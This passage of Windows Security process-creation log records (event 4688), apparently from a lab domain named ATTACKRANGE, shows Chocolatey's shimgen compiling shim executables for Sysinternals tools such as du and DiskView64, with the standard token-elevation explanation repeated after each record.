Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246488
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf6c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x470
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\du64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_5835\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246487
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc64
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x470
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246486
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x470
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\du64.exe" --output="C:\ProgramData\chocolatey\bin\du64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\du64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246485
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe84
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC9E2.tmp" "c:\ProgramData\chocolatey\bin\CSC7487B3641E234F2D842D354517636A9A.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246484
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9c8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2e0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246483
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2e0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x534
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\du.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_3647\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246482
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x864
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x534
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246481
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x534
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\du.exe" --output="C:\ProgramData\chocolatey\bin\du.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\du.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246480
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd8c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x484
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC908.tmp" "c:\ProgramData\chocolatey\bin\CSC9C5FE30C31924AC787F621645A36FE36.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246479
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc28
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x484
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246478
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x484
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x384
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\DiskView64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123409_1460\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246477
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe74
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x384
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246476
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x384
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\DiskView64.exe" --output="C:\ProgramData\chocolatey\bin\DiskView64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\DiskView64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:03 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246475
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xca8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xda8
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC82D.tmp" "c:\ProgramData\chocolatey\bin\CSC75D6958E7103413D83398E32B1959AB4.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246525
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x86c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb1c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCFDE.tmp" "c:\ProgramData\chocolatey\bin\CSC1FD27AAD7BDB4FA4938FFA3E805E6737.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246524
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf08
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb1c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:04 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246523
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb1c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x480
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
